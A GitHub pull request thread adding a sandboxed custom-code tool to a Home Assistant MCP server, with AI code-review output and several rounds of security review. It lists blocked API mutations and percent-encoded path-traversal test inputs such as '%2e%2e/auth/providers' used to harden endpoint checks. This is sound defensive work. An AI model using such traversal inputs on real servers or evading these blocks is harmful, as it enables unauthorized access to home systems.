feat: add ha_manage_custom_tool — sandboxed code execution escape hatch

[kingpanther13]

What does this PR do?

In my own words (non-ai): the point of this tool primarily is to allow users to create their own custom tools to do things that our current tools cannot do, or to fill gaps where specific tools don't exist. This way if functionality is missing, while users wait for a new tool to get implemented they can just simply use their AI to make their own without having to wait for a PR to get made and merged and sent to live addon. Ultimately we still should add dedicated tools and functionality for certain things, but it's impossible to build a tool for everything...this is intended to fill that gap.

AI:

Adds an opt-in ha_manage_custom_tool — a sandboxed tool that lets LLMs write and run custom Python code. Code runs in pydantic-monty (Rust-based sandbox; no filesystem, no arbitrary network).

Beta-only — ships in the dev channel add-on only, mirroring #942's pattern for ha_config_set_yaml. Stable add-on users who want it can install the dev add-on, or set ENABLE_CODE_MODE=true for non-add-on installs (pip / uvx / Docker direct).

Implements #726.

What the sandbox can do

Direct HA REST API access — create tools for operations not covered by existing tools:

# No tool for repairs? Hit the API directly.
repairs = await api_get("/repairs/issues")
repairs

Direct HA WebSocket access — registry queries, template rendering, and other WS-only commands:

result = await ws_send({"type": "config/area_registry/list"})
result.get("result", [])

Chain existing tools — compose multiple MCP tools with custom Python logic in a single round-trip:

result = await call_tool("ha_search_entities", {"query": "light", "limit": 5})
data = result.get("data", result)
lights = data.get("results", [])
for e in lights:
    await call_tool("ha_call_service", {
        "domain": "light", "service": "turn_off", "entity_id": e["entity_id"]})
{"turned_off": len(lights)}

Save/reuse/delete custom tools — build a personal "MCP within an MCP":

ha_manage_custom_tool(code="...", justification="...", save_as="movie_mode")  # save
ha_manage_custom_tool(run_saved="movie_mode")                                  # re-run
ha_manage_custom_tool(list_saved=True)                                         # list
# Delete from inside the sandbox:
ha_manage_custom_tool(code='delete_saved_tool("movie_mode")', justification="cleanup")

Saved tools persist across restarts via CODE_MODE_SAVED_TOOLS_PATH (defaults to /data/saved_tools.json in the dev add-on; opt-in elsewhere). 256-tool cap, atomic writes (temp file + os.replace), schema-versioned.

Single tool with three mutually-exclusive modes

code / run_saved / list_saved are mutually exclusive — passing more than one returns VALIDATION_INVALID_PARAMETER. save_as is a modifier on the code mode, not a fourth mode.

Available functions in sandbox

Function	Purpose
api_get(endpoint)	GET request to HA REST API (HA-relative paths only)
api_post(endpoint, data)	POST request to HA REST API (HA-relative paths only; safer-path enforcement)
ws_send(message)	Send a HA WebSocket command (safer-path enforcement on mutations)
call_tool(name, args)	Call a registered MCP tool
delete_saved_tool(name)	Remove a previously saved custom tool

Safety guardrails

• Disabled by default — ENABLE_CODE_MODE=true to opt in (dev add-on toggle: "Enable custom tool sandbox (beta)")
• destructiveHint=True — MCP clients prompt for confirmation
• Required justification — logged for auditing, code logged at DEBUG
• Recursive self-call blocked — sandbox can't invoke ha_manage_custom_tool
• No bearer-token exfil — api_get/api_post reject absolute URLs (http://...), protocol-relative (//host/...), and userinfo (user@host/...); only HA-relative paths reach the underlying httpx client
• Safer-path enforcement on REST and WS — sandbox api_post blocks raw /api/states/* writes (which can conjure ghost entities), HA-internal events (24-name denylist; custom event types stay allowed), and /api/config/{automation,script}/config/* (forced through ha_config_set_automation / ha_config_set_script). ws_send blocks config/core/update, lovelace/config/save, lovelace/dashboards/{create,delete,update}, and config/{area,device,entity}_registry/{delete,disable,update} (forced through their wrapping tools). Read-only WS queries and service calls remain allowed.
• Structured sandbox failures — SANDBOX_LIMIT_EXCEEDED / SANDBOX_SYNTAX_UNSUPPORTED / SANDBOX_RUNTIME_ERROR codes with category-tailored suggestions, replacing the previous generic INTERNAL_ERROR
• Audit log — DEBUG-level sandbox.api_post / sandbox.ws_send line per allowed call; INFO-level sandbox.{api_post,ws_send}.blocked per refusal
• Resource limits — 30s wall-clock, 10 MB memory, recursion 100, 100 API/tool calls per execution. All four configurable via CODE_MODE_MAX_* env vars within Pydantic-validated bounds.
• Persistence is honest about failure — if the on-disk write fails, save_as rolls back the in-memory cache and surfaces a save_warning; delete_saved_tool rolls back and returns {"error": ...}. A read failure on an existing file (e.g. PermissionError) suppresses subsequent writes for the session so we don't atomically replace an unreadable file with empty content.
• ARM fail-fast — clear error if async sandbox unavailable

Changes

File	Change
src/ha_mcp/tools/tools_code.py	New tool module (auto-discovered)
src/ha_mcp/config.py	ENABLE_CODE_MODE, CODE_MODE_MAX_DURATION/MEMORY/RECURSION/INVOCATIONS (all range-validated), CODE_MODE_SAVED_TOOLS_PATH
src/ha_mcp/errors.py	New SANDBOX_LIMIT_EXCEEDED / SANDBOX_SYNTAX_UNSUPPORTED / SANDBOX_RUNTIME_ERROR codes
src/ha_mcp/server.py	Pin tool when search transform active
pyproject.toml	pydantic-monty==0.0.9 dependency
homeassistant-addon-dev/config.yaml	Dev-channel enable_code_mode toggle
homeassistant-addon-dev/translations/en.yaml	Toggle label + description (dev only)
homeassistant-addon/config.yaml	Comment marking enable_code_mode as dev-only beta (no toggle exposed in stable)
homeassistant-addon/start.py	Map enable_code_mode → env var; default CODE_MODE_SAVED_TOOLS_PATH=/data/saved_tools.json
docs/beta.md	New ha_manage_custom_tool row + Known Limitations subsection
tests/src/e2e/tools/test_create_custom_tool.py	E2E coverage (mode mutex, REST/WS blocklists, error classification, persistence, delete, security)
tests/src/unit/test_saved_tools_persistence.py	24 unit tests for the persistence helpers (load/save round-trip, schema-version guard, load-failed flag, atomic writes, cap enforcement)

Closes #726

Type of change

• 🐛 Bug fix
• ✨ New feature
• 📚 Documentation
• 🔧 Maintenance/refactor
• 💥 Breaking change

Testing

• I have tested these changes with a LLM agent
• All automated tests pass (uv run pytest)
• Code follows style guidelines (uv run ruff check)

Checklist

• I have updated documentation if needed (docs/beta.md for the user-facing Known Limitations section; the auto-generated homeassistant-addon/DOCS.md / README.md / tools.json are regenerated by sync-tool-docs.yml on merge)

🤖 Generated with Claude Code

[gemini-code-assist]

Summary of Changes

Hello, I'm Gemini Code Assist¹! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!

This pull request adds an opt-in 'escape hatch' mechanism that enables LLMs to execute custom Python code for complex tasks that cannot be handled by existing tools. By leveraging a sandboxed interpreter, the implementation ensures that code execution remains isolated and secure while providing a bridge to interact with the broader MCP toolset.

Highlights

• Sandboxed Code Execution: Introduced the ha_execute_code tool, allowing LLMs to run custom Python code in a secure, restricted environment using pydantic-monty.
• Safety and Constraints: The feature is disabled by default and includes strict resource limits (time/memory), no filesystem/network access, and requires a justification for use.
• Tool Interoperability: Implemented a call_tool bridge that allows the sandboxed code to interact with existing MCP tools.

Using Gemini Code Assist

The full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips.

Invoking Gemini

You can request assistance from Gemini at any point by creating a comment using either /gemini <command> or @gemini-code-assist <command>. Below is a summary of the supported commands on the current page.

Feature	Command	Description
Code Review	/gemini review	Performs a code review for the current pull request in its current state.
Pull Request Summary	/gemini summary	Provides a summary of the current pull request in its current state.
Comment	@gemini-code-assist	Responds in comments when explicitly tagged, both in pull request comments and review comments.
Help	/gemini help	Displays a list of available commands.

Customization

To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a .gemini/ folder in the base of the repository. Detailed instructions can be found here.

Limitations & Feedback

Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for GitHub and other Google products, sign up here.

Footnotes

1. Review the Privacy Notices, Generative AI Prohibited Use Policy, Terms of Service, and learn how to configure Gemini Code Assist in GitHub here. Gemini can make mistakes, so double check it and use code with caution. ↩

[gemini-code-assist]

Code Review

This pull request introduces a new sandboxed code execution tool, ha_execute_code, which allows LLMs to run custom Python code using pydantic-monty. The implementation includes configurable resource limits for duration and memory. I have identified a missing configuration parameter for recursion depth, which should be added to the Settings class and enforced in the ResourceLimits configuration to ensure consistent safety guardrails.

[kingpanther13]

I actually didn't mean to post this PR yet, permissions got screwy on claude code and it auto-posted it. This one will probably be in draft for a while so please disregard it till I mark it ready for review, I need to do a lot of testing on it.

[kingpanther13]

/gemini review

[gemini-code-assist]

Code Review

This pull request introduces 'Code Mode,' a feature allowing AI assistants to execute sandboxed Python code via a new ha_manage_custom_tool tool. The implementation includes resource limit configurations, documentation, and E2E tests. Feedback identifies documentation inaccuracies regarding sandbox API access, a violation of the statelessness principle due to global in-memory tool storage, and provides suggestions for improving exception handling and configurability.

[kingpanther13]

With everything else going on I'll acknowledge that this one is a long way from merging. I have tested it and discovered that it works pretty well, but I need to test further to make sure that it has sufficient guardrails such as making sure it cannot touch any yaml directly, and that it cannot break HA in any way. I also need to make sure LLMs won't jump to it unnecessarily when it's enabled. I think that this will be a great "Swiss army knife" type tool, I'm envisioning it as being capable of making its own mini MCPs for add-ons since it saves the tools, and as being able to do small one-off surgical type tools.

[kingpanther13]

Todo: will fix conflicts and refactor so it follows the path of #942 and #989 so this will be a dev/beta only tool.

[Patch76]

Round-4 verification at HEAD 58899e8b. All 10 round-3 findings (H1, M1, M2, M3, L1–L6) are resolved at the source level — _BLOCKED_WS_COMMANDS now contains config/entity_registry/remove and config/device_registry/remove_config_entry (tools_code.py:175,182), _normalize_endpoint calls urllib.parse.unquote(segment) (tools_code.py:704), _extract_tool_result has the new list branch (tools_code.py:564-568), _log_safe and _LOG_CONTROL_CHARS_MAP are deleted, %r standardization is consistent across the audit lines, the docstring contract for sandbox error shapes is clear (tools_code.py:621-642), and the L4/L5/L6 inline comments landed. uv.lock is clean against current master — only pydantic-monty==0.0.9 added, zero unrelated downgrades.

One round-4-specific observation worth landing in this PR before merge:

M-A — %2e%2e test coverage missing for the M2 source fix

tests/src/e2e/tools/test_create_custom_tool.py:1717-1722 — the existing TestCodeModeNormalizeEndpointTraversal parametrize covers four literal .. variants but no percent-encoded ones. The round-3 M2 fix at tools_code.py:704 adds urllib.parse.unquote(segment) specifically for %2e%2e — but a future refactor that drops the unquote call would not fail any existing parametrize row, silently re-opening the attack surface.

Suggested addition (two lines, inline with the existing list):

"%2e%2e/auth/providers",      # percent-encoded ..
"%2E%2E/auth/providers",      # uppercase percent-encoded

Pins the regression bar for the specific attack variant the round-3 review called out, in the same idiom as the existing rows.

Out of scope for this PR (notes for follow-up)

• M-B — _extract_tool_result's new list-passthrough branch (tools_code.py:564-568) has no direct test exercising [{"id": 1}, ...] shapes. Contract-pin, not security-load-bearing.
• L-A — the content-block heuristic at tools_code.py:564-568 uses hasattr only. Raw-dict content blocks (theoretical for current FastMCP, where blocks are Pydantic models) would be misclassified because hasattr({"type": "text", ...}, "text") returns False. The comment above says "or being a content-block dict" but the code doesn't check dict-key shape. One-line widening (isinstance(result[0], dict) and ("text" in result[0] or "type" in result[0])) would close the gap if FastMCP ever ships dict content blocks.

[kingpanther13]

Round-4 review response

Lands in 8c007405.

M-A — %2e%2e test coverage ✅ added

TestCodeModeNormalizeEndpointTraversal::test_api_get_rejects_dot_dot_segment now parametrizes over two more rows alongside the existing four:

"%2e%2e/auth/providers",      # lowercase percent-encoded
"%2E%2E/auth/providers",      # uppercase percent-encoded

Verified locally that urllib.parse.unquote resolves both case variants to .. so the existing segment guard fires identically. A future refactor dropping the unquote(segment) call now fails CI on these rows.

M-B — _extract_tool_result list-passthrough contract ✅ pinned

New unit suite at tests/src/unit/test_extract_tool_result.py (16 tests) covering:

• Basic-type passthrough (str / int / float / bool / None / dict)
• Naked-list passthrough — the M3 contract. Lists of dicts, strings, ints, mixed basic types, empty list, and dicts whose keys aren't content-block keys all reach the sandbox as iterable lists rather than str(list) reprs. The [{"id": 1}, {"id": 2}] example you cited is one of the rows.
• Attribute-style content blocks (FastMCP's current Pydantic-model shape) get extracted and JSON-decoded — distinguishes them from the naked-list case.
• End-to-end ToolResult extraction: JSON payload, plain-text payload, isError=True wrapping in {"error": ...}.

L-A — dict-content-block widening: deliberately deferred

Originally widened the heuristic to:

isinstance(result[0], dict) and ("text" in result[0] or "type" in result[0])

Reverted before commit. FastMCP currently ships content blocks as Pydantic model objects, so hasattr matches today. A future switch to raw-dict blocks would misclassify them as "data list" and pass them through, but the failure mode is still a readable list of dicts reaching the sandbox — slightly weird shape, not a real-world bug. Keeping the heuristic narrower until FastMCP actually changes the shape; happy to widen in a follow-up if/when that lands.

[Patch76]

Round-5 verified at HEAD 8c007405. Both round-4 items addressed; the L-A decline is reasonable.

• M-A — TestCodeModeNormalizeEndpointTraversal::test_api_get_rejects_dot_dot_segment parametrize at tests/src/e2e/tools/test_create_custom_tool.py:1718-1730 is now 6 rows (4 prior + %2e%2e lowercase + %2E%2E uppercase). Each new row exercises urllib.parse.unquote at tools_code.py:705 — a future refactor dropping the unquote call would now fail CI on these rows.
• M-B — new tests/src/unit/test_extract_tool_result.py (16 tests across 4 classes) pins basic-type passthrough, naked-list passthrough (including the [{"id":1},{"id":2}] example from round-3 with an explicit comment naming the round-3 callout), attribute-style content-block extraction, and ToolResult-level extraction (JSON/text/isError wrapping). All 16 pass locally.
• L-A — declined with reasoning (FastMCP currently ships Pydantic-model content blocks so hasattr matches; a future raw-dict shape change would land readable lists in the sandbox rather than a real bug). The decline is cleanly bounded — no test was committed that would silently break under the unchanged heuristic.

Round-1-through-3 fixes all intact at HEAD: H1 absolute-URL guard at tools_code.py:686-689, M1 @-userinfo guard at :691-695, M2 ..-segment plus percent-decoded guard at :704-710, M3 naked-list passthrough heuristic at :564-569. Round-5 diff is test-only (+156 lines, 0 production), so no regression surface.

[github-actions]

🧪 Your changes are now in the dev channel!

Your PR has been merged to master and is available for testing in the dev channel.

Test your changes before the next stable release (biweekly Wednesday):
📖 Dev Channel Documentation

Quick start

# Run dev version
uvx ha-mcp-dev

# Check version
uvx ha-mcp-dev --version

Docker:

docker pull ghcr.io/homeassistant-ai/ha-mcp:dev
docker run --rm -i \
  -e HOMEASSISTANT_URL=http://your-ha:8123 \
  -e HOMEASSISTANT_TOKEN=your_token \
  ghcr.io/homeassistant-ai/ha-mcp:dev

---

Found an issue? Please open a new bug report and mention this PR for context.